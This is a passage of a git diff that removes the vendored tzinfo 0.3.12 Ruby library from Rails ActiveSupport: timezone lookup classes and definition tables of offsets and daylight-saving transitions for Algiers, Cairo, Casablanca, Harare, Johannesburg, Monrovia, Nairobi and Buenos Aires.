-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'tzinfo/info_timezone'
-
-module TZInfo
-
-  # A Timezone based on a DataTimezoneInfo.
-  class DataTimezone < InfoTimezone #:nodoc:
-    
-    # Returns the TimezonePeriod for the given UTC time. utc can either be
-    # a DateTime, Time or integer timestamp (Time.to_i). Any timezone 
-    # information in utc is ignored (it is treated as a UTC time).        
-    #
-    # If no TimezonePeriod could be found, PeriodNotFound is raised.
-    def period_for_utc(utc)
-      info.period_for_utc(utc)
-    end
-    
-    # Returns the set of TimezonePeriod instances that are valid for the given
-    # local time as an array. If you just want a single period, use 
-    # period_for_local instead and specify how abiguities should be resolved.
-    # Raises PeriodNotFound if no periods are found for the given time.
-    def periods_for_local(local)
-      info.periods_for_local(local)
-    end    
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb
deleted file mode 100644
index a45d9455..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/data_timezone_info.rb
+++ /dev/null
@@ -1,228 +0,0 @@
-#--
-# Copyright (c) 2006 Philip Ross
-# 
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
-# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-# copies of the Software, and to permit persons to whom the Software is
-# furnished to do so, subject to the following conditions:
-# 
-# The above copyright notice and this permission notice shall be included in all
-# copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-# THE SOFTWARE.
-#++
-
-require 'tzinfo/time_or_datetime'
-require 'tzinfo/timezone_info'
-require 'tzinfo/timezone_offset_info'
-require 'tzinfo/timezone_period'
-require 'tzinfo/timezone_transition_info'
-
-module TZInfo
-  # Thrown if no offsets have been defined when calling period_for_utc or
-  # periods_for_local. Indicates an error in the timezone data.
-  class NoOffsetsDefined < StandardError
-  end
-    
-  # Represents a (non-linked) timezone defined in a data module.
-  class DataTimezoneInfo < TimezoneInfo #:nodoc:
-            
-    # Constructs a new TimezoneInfo with its identifier.
-    def initialize(identifier)   
-      super(identifier)
-      @offsets = {}
-      @transitions = []
-      @previous_offset = nil
-      @transitions_index = nil
-    end
- 
-    # Defines a offset. The id uniquely identifies this offset within the
-    # timezone. utc_offset and std_offset define the offset in seconds of 
-    # standard time from UTC and daylight savings from standard time 
-    # respectively. abbreviation describes the timezone offset (e.g. GMT, BST,
-    # EST or EDT).
-    #
-    # The first offset to be defined is treated as the offset that applies
-    # until the first transition. This will usually be in Local Mean Time (LMT).
-    #
-    # ArgumentError will be raised if the id is already defined.
-    def offset(id, utc_offset, std_offset, abbreviation)
-      raise ArgumentError, 'Offset already defined' if @offsets.has_key?(id)
-      
-      offset = TimezoneOffsetInfo.new(utc_offset, std_offset, abbreviation)
-      @offsets[id] = offset
-      @previous_offset = offset unless @previous_offset
-    end
-    
-    # Defines a transition. Transitions must be defined in chronological order.
-    # ArgumentError will be raised if a transition is added out of order.
-    # offset_id refers to an id defined with offset. ArgumentError will be 
-    # raised if the offset_id cannot be found. numerator_or_time and
-    # denomiator specify the time the transition occurs as. See 
-    # TimezoneTransitionInfo for more detail about specifying times.
-    def transition(year, month, offset_id, numerator_or_time, denominator = nil)
-      offset = @offsets[offset_id]      
-      raise ArgumentError, 'Offset not found' unless offset
-            
-      if @transitions_index
-        if year < @last_year || (year == @last_year && month < @last_month)
-          raise ArgumentError, 'Transitions must be increasing date order'
-        end
-        
-        # Record the position of the first transition with this index.
-        index = transition_index(year, month)
-        @transitions_index[index] ||= @transitions.length
-                
-        # Fill in any gaps       
-        (index - 1).downto(0) do |i|
-          break if @transitions_index[i]
-          @transitions_index[i] = @transitions.length
-        end
-      else
-        @transitions_index = [@transitions.length]
-        @start_year = year
-        @start_month = month        
-      end
-      
-      @transitions << TimezoneTransitionInfo.new(offset, @previous_offset, 
-        numerator_or_time, denominator)
-      @last_year = year
-      @last_month = month             
-      @previous_offset = offset
-    end           
-    
-    # Returns the TimezonePeriod for the given UTC time.
-    # Raises NoOffsetsDefined if no offsets have been defined.
-    def period_for_utc(utc)
-      unless @transitions.empty?
-        utc = TimeOrDateTime.wrap(utc)               
-        index = transition_index(utc.year, utc.mon)
-        
-        start_transition = nil
-        start = transition_before_end(index)
-        if start
-          start.downto(0) do |i|
-            if @transitions[i].at <= utc
-              start_transition = @transitions[i]
-              break
-            end
-          end
-        end
-        
-        end_transition = nil
-        start = transition_after_start(index)      
-        if start
-          start.upto(@transitions.length - 1) do |i|
-            if @transitions[i].at > utc
-              end_transition = @transitions[i]
-              break
-            end
-          end
-        end
-               
-        if start_transition || end_transition
-          TimezonePeriod.new(start_transition, end_transition)
-        else
-          # Won't happen since there are transitions. Must always find one
-          # transition that is either >= or < the specified time.
-          raise 'No transitions found in search'
-        end        
-      else
-        raise NoOffsetsDefined, 'No offsets have been defined' unless @previous_offset        
-        TimezonePeriod.new(nil, nil, @previous_offset)
-      end
-    end
-    
-    # Returns the set of TimezonePeriods for the given local time as an array.    
-    # Results returned are ordered by increasing UTC start date.
-    # Returns an empty array if no periods are found for the given time.
-    # Raises NoOffsetsDefined if no offsets have been defined.    
-    def periods_for_local(local)
-      unless @transitions.empty?
-        local = TimeOrDateTime.wrap(local)
-        index = transition_index(local.year, local.mon)
-        
-        result = []
-       
-        start_index = transition_after_start(index - 1)       
-        if start_index && @transitions[start_index].local_end > local           
-          if start_index > 0
-            if @transitions[start_index - 1].local_start <= local 
-              result << TimezonePeriod.new(@transitions[start_index - 1], @transitions[start_index])
-            end
-          else
-            result << TimezonePeriod.new(nil, @transitions[start_index])
-          end
-        end
-        
-        end_index = transition_before_end(index + 1)
-        
-        if end_index        
-          start_index = end_index unless start_index
-          
-          start_index.upto(transition_before_end(index + 1)) do |i|
-            if @transitions[i].local_start <= local
-              if i + 1 < @transitions.length
-                if @transitions[i + 1].local_end > local
-                  result << TimezonePeriod.new(@transitions[i], @transitions[i + 1])
-                end
-              else
-                result << TimezonePeriod.new(@transitions[i], nil)
-              end
-            end
-          end
-        end
-        
-        result
-      else
-        raise NoOffsetsDefined, 'No offsets have been defined' unless @previous_offset
-        [TimezonePeriod.new(nil, nil, @previous_offset)]
-      end
-    end
-    
-    private
-      # Returns the index into the @transitions_index array for a given year 
-      # and month.
-      def transition_index(year, month)
-        index = (year - @start_year) * 2
-        index += 1 if month > 6
-        index -= 1 if @start_month > 6
-        index
-      end
-      
-      # Returns the index into @transitions of the first transition that occurs
-      # on or after the start of the given index into @transitions_index.
-      # Returns nil if there are no such transitions.
-      def transition_after_start(index)
-        if index >= @transitions_index.length
-          nil
-        else
-          index = 0 if index < 0
-          @transitions_index[index]
-        end
-      end
-      
-      # Returns the index into @transitions of the first transition that occurs
-      # before the end of the given index into @transitions_index.
-      # Returns nil if there are no such transitions.
-      def transition_before_end(index)
-        index = index + 1
-        
-        if index <= 0
-          nil
-        elsif index >= @transitions_index.length          
-          @transitions.length - 1
-        else      
-          @transitions_index[index] - 1          
-        end
-      end            
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb
deleted file mode 100644
index 8c5f2557..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Algiers.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Africa
-      module Algiers
-        include TimezoneDefinition
-        
-        timezone 'Africa/Algiers' do |tz|
-          tz.offset :o0, 732, 0, :LMT
-          tz.offset :o1, 561, 0, :PMT
-          tz.offset :o2, 0, 0, :WET
-          tz.offset :o3, 0, 3600, :WEST
-          tz.offset :o4, 3600, 0, :CET
-          tz.offset :o5, 3600, 3600, :CEST
-          
-          tz.transition 1891, 3, :o1, 2170625843, 900
-          tz.transition 1911, 3, :o2, 69670267013, 28800
-          tz.transition 1916, 6, :o3, 58104707, 24
-          tz.transition 1916, 10, :o2, 58107323, 24
-          tz.transition 1917, 3, :o3, 58111499, 24
-          tz.transition 1917, 10, :o2, 58116227, 24
-          tz.transition 1918, 3, :o3, 58119899, 24
-          tz.transition 1918, 10, :o2, 58124963, 24
-          tz.transition 1919, 3, :o3, 58128467, 24
-          tz.transition 1919, 10, :o2, 58133699, 24
-          tz.transition 1920, 2, :o3, 58136867, 24
-          tz.transition 1920, 10, :o2, 58142915, 24
-          tz.transition 1921, 3, :o3, 58146323, 24
-          tz.transition 1921, 6, :o2, 58148699, 24
-          tz.transition 1939, 9, :o3, 58308443, 24
-          tz.transition 1939, 11, :o2, 4859173, 2
-          tz.transition 1940, 2, :o4, 29156215, 12
-          tz.transition 1944, 4, :o5, 58348405, 24
-          tz.transition 1944, 10, :o4, 4862743, 2
-          tz.transition 1945, 4, :o5, 58357141, 24
-          tz.transition 1945, 9, :o4, 58361147, 24
-          tz.transition 1946, 10, :o2, 58370411, 24
-          tz.transition 1956, 1, :o4, 4871003, 2
-          tz.transition 1963, 4, :o2, 58515203, 24
-          tz.transition 1971, 4, :o3, 41468400
-          tz.transition 1971, 9, :o2, 54774000
-          tz.transition 1977, 5, :o3, 231724800
-          tz.transition 1977, 10, :o4, 246236400
-          tz.transition 1978, 3, :o5, 259545600
-          tz.transition 1978, 9, :o4, 275274000
-          tz.transition 1979, 10, :o2, 309740400
-          tz.transition 1980, 4, :o3, 325468800
-          tz.transition 1980, 10, :o2, 341802000
-          tz.transition 1981, 5, :o4, 357523200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb
deleted file mode 100644
index 6e6daf35..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Cairo.rb
+++ /dev/null
@@ -1,219 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Africa
-      module Cairo
-        include TimezoneDefinition
-        
-        timezone 'Africa/Cairo' do |tz|
-          tz.offset :o0, 7500, 0, :LMT
-          tz.offset :o1, 7200, 0, :EET
-          tz.offset :o2, 7200, 3600, :EEST
-          
-          tz.transition 1900, 9, :o1, 695604503, 288
-          tz.transition 1940, 7, :o2, 29157905, 12
-          tz.transition 1940, 9, :o1, 19439227, 8
-          tz.transition 1941, 4, :o2, 29161193, 12
-          tz.transition 1941, 9, :o1, 19442027, 8
-          tz.transition 1942, 3, :o2, 29165405, 12
-          tz.transition 1942, 10, :o1, 19445275, 8
-          tz.transition 1943, 3, :o2, 29169785, 12
-          tz.transition 1943, 10, :o1, 19448235, 8
-          tz.transition 1944, 3, :o2, 29174177, 12
-          tz.transition 1944, 10, :o1, 19451163, 8
-          tz.transition 1945, 4, :o2, 29178737, 12
-          tz.transition 1945, 10, :o1, 19454083, 8
-          tz.transition 1957, 5, :o2, 29231621, 12
-          tz.transition 1957, 9, :o1, 19488899, 8
-          tz.transition 1958, 4, :o2, 29235893, 12
-          tz.transition 1958, 9, :o1, 19491819, 8
-          tz.transition 1959, 4, :o2, 58480547, 24
-          tz.transition 1959, 9, :o1, 4873683, 2
-          tz.transition 1960, 4, :o2, 58489331, 24
-          tz.transition 1960, 9, :o1, 4874415, 2
-          tz.transition 1961, 4, :o2, 58498091, 24
-          tz.transition 1961, 9, :o1, 4875145, 2
-          tz.transition 1962, 4, :o2, 58506851, 24
-          tz.transition 1962, 9, :o1, 4875875, 2
-          tz.transition 1963, 4, :o2, 58515611, 24
-          tz.transition 1963, 9, :o1, 4876605, 2
-          tz.transition 1964, 4, :o2, 58524395, 24
-          tz.transition 1964, 9, :o1, 4877337, 2
-          tz.transition 1965, 4, :o2, 58533155, 24
-          tz.transition 1965, 9, :o1, 4878067, 2
-          tz.transition 1966, 4, :o2, 58541915, 24
-          tz.transition 1966, 10, :o1, 4878799, 2
-          tz.transition 1967, 4, :o2, 58550675, 24
-          tz.transition 1967, 10, :o1, 4879529, 2
-          tz.transition 1968, 4, :o2, 58559459, 24
-          tz.transition 1968, 10, :o1, 4880261, 2
-          tz.transition 1969, 4, :o2, 58568219, 24
-          tz.transition 1969, 10, :o1, 4880991, 2
-          tz.transition 1970, 4, :o2, 10364400
-          tz.transition 1970, 10, :o1, 23587200
-          tz.transition 1971, 4, :o2, 41900400
-          tz.transition 1971, 10, :o1, 55123200
-          tz.transition 1972, 4, :o2, 73522800
-          tz.transition 1972, 10, :o1, 86745600
-          tz.transition 1973, 4, :o2, 105058800
-          tz.transition 1973, 10, :o1, 118281600
-          tz.transition 1974, 4, :o2, 136594800
-          tz.transition 1974, 10, :o1, 149817600
-          tz.transition 1975, 4, :o2, 168130800
-          tz.transition 1975, 10, :o1, 181353600
-          tz.transition 1976, 4, :o2, 199753200
-          tz.transition 1976, 10, :o1, 212976000
-          tz.transition 1977, 4, :o2, 231289200
-          tz.transition 1977, 10, :o1, 244512000
-          tz.transition 1978, 4, :o2, 262825200
-          tz.transition 1978, 10, :o1, 276048000
-          tz.transition 1979, 4, :o2, 294361200
-          tz.transition 1979, 10, :o1, 307584000
-          tz.transition 1980, 4, :o2, 325983600
-          tz.transition 1980, 10, :o1, 339206400
-          tz.transition 1981, 4, :o2, 357519600
-          tz.transition 1981, 10, :o1, 370742400
-          tz.transition 1982, 7, :o2, 396399600
-          tz.transition 1982, 10, :o1, 402278400
-          tz.transition 1983, 7, :o2, 426812400
-          tz.transition 1983, 10, :o1, 433814400
-          tz.transition 1984, 4, :o2, 452214000
-          tz.transition 1984, 10, :o1, 465436800
-          tz.transition 1985, 4, :o2, 483750000
-          tz.transition 1985, 10, :o1, 496972800
-          tz.transition 1986, 4, :o2, 515286000
-          tz.transition 1986, 10, :o1, 528508800
-          tz.transition 1987, 4, :o2, 546822000
-          tz.transition 1987, 10, :o1, 560044800
-          tz.transition 1988, 4, :o2, 578444400
-          tz.transition 1988, 10, :o1, 591667200
-          tz.transition 1989, 5, :o2, 610412400
-          tz.transition 1989, 10, :o1, 623203200
-          tz.transition 1990, 4, :o2, 641516400
-          tz.transition 1990, 10, :o1, 654739200
-          tz.transition 1991, 4, :o2, 673052400
-          tz.transition 1991, 10, :o1, 686275200
-          tz.transition 1992, 4, :o2, 704674800
-          tz.transition 1992, 10, :o1, 717897600
-          tz.transition 1993, 4, :o2, 736210800
-          tz.transition 1993, 10, :o1, 749433600
-          tz.transition 1994, 4, :o2, 767746800
-          tz.transition 1994, 10, :o1, 780969600
-          tz.transition 1995, 4, :o2, 799020000
-          tz.transition 1995, 9, :o1, 812322000
-          tz.transition 1996, 4, :o2, 830469600
-          tz.transition 1996, 9, :o1, 843771600
-          tz.transition 1997, 4, :o2, 861919200
-          tz.transition 1997, 9, :o1, 875221200
-          tz.transition 1998, 4, :o2, 893368800
-          tz.transition 1998, 9, :o1, 906670800
-          tz.transition 1999, 4, :o2, 925423200
-          tz.transition 1999, 9, :o1, 938725200
-          tz.transition 2000, 4, :o2, 956872800
-          tz.transition 2000, 9, :o1, 970174800
-          tz.transition 2001, 4, :o2, 988322400
-          tz.transition 2001, 9, :o1, 1001624400
-          tz.transition 2002, 4, :o2, 1019772000
-          tz.transition 2002, 9, :o1, 1033074000
-          tz.transition 2003, 4, :o2, 1051221600
-          tz.transition 2003, 9, :o1, 1064523600
-          tz.transition 2004, 4, :o2, 1083276000
-          tz.transition 2004, 9, :o1, 1096578000
-          tz.transition 2005, 4, :o2, 1114725600
-          tz.transition 2005, 9, :o1, 1128027600
-          tz.transition 2006, 4, :o2, 1146175200
-          tz.transition 2006, 9, :o1, 1158872400
-          tz.transition 2007, 4, :o2, 1177624800
-          tz.transition 2007, 9, :o1, 1189112400
-          tz.transition 2008, 4, :o2, 1209074400
-          tz.transition 2008, 8, :o1, 1219957200
-          tz.transition 2009, 4, :o2, 1240524000
-          tz.transition 2009, 8, :o1, 1251406800
-          tz.transition 2010, 4, :o2, 1272578400
-          tz.transition 2010, 8, :o1, 1282856400
-          tz.transition 2011, 4, :o2, 1304028000
-          tz.transition 2011, 8, :o1, 1314306000
-          tz.transition 2012, 4, :o2, 1335477600
-          tz.transition 2012, 8, :o1, 1346360400
-          tz.transition 2013, 4, :o2, 1366927200
-          tz.transition 2013, 8, :o1, 1377810000
-          tz.transition 2014, 4, :o2, 1398376800
-          tz.transition 2014, 8, :o1, 1409259600
-          tz.transition 2015, 4, :o2, 1429826400
-          tz.transition 2015, 8, :o1, 1440709200
-          tz.transition 2016, 4, :o2, 1461880800
-          tz.transition 2016, 8, :o1, 1472158800
-          tz.transition 2017, 4, :o2, 1493330400
-          tz.transition 2017, 8, :o1, 1504213200
-          tz.transition 2018, 4, :o2, 1524780000
-          tz.transition 2018, 8, :o1, 1535662800
-          tz.transition 2019, 4, :o2, 1556229600
-          tz.transition 2019, 8, :o1, 1567112400
-          tz.transition 2020, 4, :o2, 1587679200
-          tz.transition 2020, 8, :o1, 1598562000
-          tz.transition 2021, 4, :o2, 1619733600
-          tz.transition 2021, 8, :o1, 1630011600
-          tz.transition 2022, 4, :o2, 1651183200
-          tz.transition 2022, 8, :o1, 1661461200
-          tz.transition 2023, 4, :o2, 1682632800
-          tz.transition 2023, 8, :o1, 1693515600
-          tz.transition 2024, 4, :o2, 1714082400
-          tz.transition 2024, 8, :o1, 1724965200
-          tz.transition 2025, 4, :o2, 1745532000
-          tz.transition 2025, 8, :o1, 1756414800
-          tz.transition 2026, 4, :o2, 1776981600
-          tz.transition 2026, 8, :o1, 1787864400
-          tz.transition 2027, 4, :o2, 1809036000
-          tz.transition 2027, 8, :o1, 1819314000
-          tz.transition 2028, 4, :o2, 1840485600
-          tz.transition 2028, 8, :o1, 1851368400
-          tz.transition 2029, 4, :o2, 1871935200
-          tz.transition 2029, 8, :o1, 1882818000
-          tz.transition 2030, 4, :o2, 1903384800
-          tz.transition 2030, 8, :o1, 1914267600
-          tz.transition 2031, 4, :o2, 1934834400
-          tz.transition 2031, 8, :o1, 1945717200
-          tz.transition 2032, 4, :o2, 1966888800
-          tz.transition 2032, 8, :o1, 1977166800
-          tz.transition 2033, 4, :o2, 1998338400
-          tz.transition 2033, 8, :o1, 2008616400
-          tz.transition 2034, 4, :o2, 2029788000
-          tz.transition 2034, 8, :o1, 2040670800
-          tz.transition 2035, 4, :o2, 2061237600
-          tz.transition 2035, 8, :o1, 2072120400
-          tz.transition 2036, 4, :o2, 2092687200
-          tz.transition 2036, 8, :o1, 2103570000
-          tz.transition 2037, 4, :o2, 2124136800
-          tz.transition 2037, 8, :o1, 2135019600
-          tz.transition 2038, 4, :o2, 29586521, 12
-          tz.transition 2038, 8, :o1, 19725299, 8
-          tz.transition 2039, 4, :o2, 29590889, 12
-          tz.transition 2039, 8, :o1, 19728211, 8
-          tz.transition 2040, 4, :o2, 29595257, 12
-          tz.transition 2040, 8, :o1, 19731179, 8
-          tz.transition 2041, 4, :o2, 29599625, 12
-          tz.transition 2041, 8, :o1, 19734091, 8
-          tz.transition 2042, 4, :o2, 29603993, 12
-          tz.transition 2042, 8, :o1, 19737003, 8
-          tz.transition 2043, 4, :o2, 29608361, 12
-          tz.transition 2043, 8, :o1, 19739915, 8
-          tz.transition 2044, 4, :o2, 29612813, 12
-          tz.transition 2044, 8, :o1, 19742827, 8
-          tz.transition 2045, 4, :o2, 29617181, 12
-          tz.transition 2045, 8, :o1, 19745795, 8
-          tz.transition 2046, 4, :o2, 29621549, 12
-          tz.transition 2046, 8, :o1, 19748707, 8
-          tz.transition 2047, 4, :o2, 29625917, 12
-          tz.transition 2047, 8, :o1, 19751619, 8
-          tz.transition 2048, 4, :o2, 29630285, 12
-          tz.transition 2048, 8, :o1, 19754531, 8
-          tz.transition 2049, 4, :o2, 29634737, 12
-          tz.transition 2049, 8, :o1, 19757443, 8
-          tz.transition 2050, 4, :o2, 29639105, 12
-          tz.transition 2050, 8, :o1, 19760355, 8
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb
deleted file mode 100644
index d1eb5c57..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Casablanca.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Africa
-      module Casablanca
-        include TimezoneDefinition
-        
-        timezone 'Africa/Casablanca' do |tz|
-          tz.offset :o0, -1820, 0, :LMT
-          tz.offset :o1, 0, 0, :WET
-          tz.offset :o2, 0, 3600, :WEST
-          tz.offset :o3, 3600, 0, :CET
-          
-          tz.transition 1913, 10, :o1, 10454687371, 4320
-          tz.transition 1939, 9, :o2, 4859037, 2
-          tz.transition 1939, 11, :o1, 58310075, 24
-          tz.transition 1940, 2, :o2, 4859369, 2
-          tz.transition 1945, 11, :o1, 58362659, 24
-          tz.transition 1950, 6, :o2, 4866887, 2
-          tz.transition 1950, 10, :o1, 58406003, 24
-          tz.transition 1967, 6, :o2, 2439645, 1
-          tz.transition 1967, 9, :o1, 58554347, 24
-          tz.transition 1974, 6, :o2, 141264000
-          tz.transition 1974, 8, :o1, 147222000
-          tz.transition 1976, 5, :o2, 199756800
-          tz.transition 1976, 7, :o1, 207702000
-          tz.transition 1977, 5, :o2, 231292800
-          tz.transition 1977, 9, :o1, 244249200
-          tz.transition 1978, 6, :o2, 265507200
-          tz.transition 1978, 8, :o1, 271033200
-          tz.transition 1984, 3, :o3, 448243200
-          tz.transition 1985, 12, :o1, 504918000
-          tz.transition 2008, 6, :o2, 1212278400
-          tz.transition 2008, 8, :o1, 1220223600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb
deleted file mode 100644
index 070c95ae..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Harare.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Africa
-      module Harare
-        include TimezoneDefinition
-        
-        timezone 'Africa/Harare' do |tz|
-          tz.offset :o0, 7452, 0, :LMT
-          tz.offset :o1, 7200, 0, :CAT
-          
-          tz.transition 1903, 2, :o1, 1932939531, 800
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb
deleted file mode 100644
index f0af0d8e..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Johannesburg.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Africa
-      module Johannesburg
-        include TimezoneDefinition
-        
-        timezone 'Africa/Johannesburg' do |tz|
-          tz.offset :o0, 6720, 0, :LMT
-          tz.offset :o1, 5400, 0, :SAST
-          tz.offset :o2, 7200, 0, :SAST
-          tz.offset :o3, 7200, 3600, :SAST
-          
-          tz.transition 1892, 2, :o1, 108546139, 45
-          tz.transition 1903, 2, :o2, 38658791, 16
-          tz.transition 1942, 9, :o3, 4861245, 2
-          tz.transition 1943, 3, :o2, 58339307, 24
-          tz.transition 1943, 9, :o3, 4861973, 2
-          tz.transition 1944, 3, :o2, 58348043, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb
deleted file mode 100644
index 40e711fa..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Monrovia.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Africa
-      module Monrovia
-        include TimezoneDefinition
-        
-        timezone 'Africa/Monrovia' do |tz|
-          tz.offset :o0, -2588, 0, :LMT
-          tz.offset :o1, -2588, 0, :MMT
-          tz.offset :o2, -2670, 0, :LRT
-          tz.offset :o3, 0, 0, :GMT
-          
-          tz.transition 1882, 1, :o1, 52022445047, 21600
-          tz.transition 1919, 3, :o2, 52315600247, 21600
-          tz.transition 1972, 5, :o3, 73529070
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb
deleted file mode 100644
index 7b0a2f43..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Africa/Nairobi.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Africa
-      module Nairobi
-        include TimezoneDefinition
-        
-        timezone 'Africa/Nairobi' do |tz|
-          tz.offset :o0, 8836, 0, :LMT
-          tz.offset :o1, 10800, 0, :EAT
-          tz.offset :o2, 9000, 0, :BEAT
-          tz.offset :o3, 9885, 0, :BEAUT
-          
-          tz.transition 1928, 6, :o1, 52389253391, 21600
-          tz.transition 1929, 12, :o2, 19407819, 8
-          tz.transition 1939, 12, :o3, 116622211, 48
-          tz.transition 1959, 12, :o1, 14036742061, 5760
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb
deleted file mode 100644
index 8f4dd31d..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Argentina/Buenos_Aires.rb
+++ /dev/null
@@ -1,166 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module America
-      module Argentina
-        module Buenos_Aires
-          include TimezoneDefinition
-          
-          timezone 'America/Argentina/Buenos_Aires' do |tz|
-            tz.offset :o0, -14028, 0, :LMT
-            tz.offset :o1, -15408, 0, :CMT
-            tz.offset :o2, -14400, 0, :ART
-            tz.offset :o3, -14400, 3600, :ARST
-            tz.offset :o4, -10800, 0, :ART
-            tz.offset :o5, -10800, 3600, :ARST
-            
-            tz.transition 1894, 10, :o1, 17374555169, 7200
-            tz.transition 1920, 5, :o2, 1453467407, 600
-            tz.transition 1930, 12, :o3, 7278935, 3
-            tz.transition 1931, 4, :o2, 19411461, 8
-            tz.transition 1931, 10, :o3, 7279889, 3
-            tz.transition 1932, 3, :o2, 19414141, 8
-            tz.transition 1932, 11, :o3, 7281038, 3
-            tz.transition 1933, 3, :o2, 19417061, 8
-            tz.transition 1933, 11, :o3, 7282133, 3
-            tz.transition 1934, 3, :o2, 19419981, 8
-            tz.transition 1934, 11, :o3, 7283228, 3
-            tz.transition 1935, 3, :o2, 19422901, 8
-            tz.transition 1935, 11, :o3, 7284323, 3
-            tz.transition 1936, 3, :o2, 19425829, 8
-            tz.transition 1936, 11, :o3, 7285421, 3
-            tz.transition 1937, 3, :o2, 19428749, 8
-            tz.transition 1937, 11, :o3, 7286516, 3
-            tz.transition 1938, 3, :o2, 19431669, 8
-            tz.transition 1938, 11, :o3, 7287611, 3
-            tz.transition 1939, 3, :o2, 19434589, 8
-            tz.transition 1939, 11, :o3, 7288706, 3
-            tz.transition 1940, 3, :o2, 19437517, 8
-            tz.transition 1940, 7, :o3, 7289435, 3
-            tz.transition 1941, 6, :o2, 19441285, 8
-            tz.transition 1941, 10, :o3, 7290848, 3
-            tz.transition 1943, 8, :o2, 19447501, 8
-            tz.transition 1943, 10, :o3, 7293038, 3
-            tz.transition 1946, 3, :o2, 19455045, 8
-            tz.transition 1946, 10, :o3, 7296284, 3
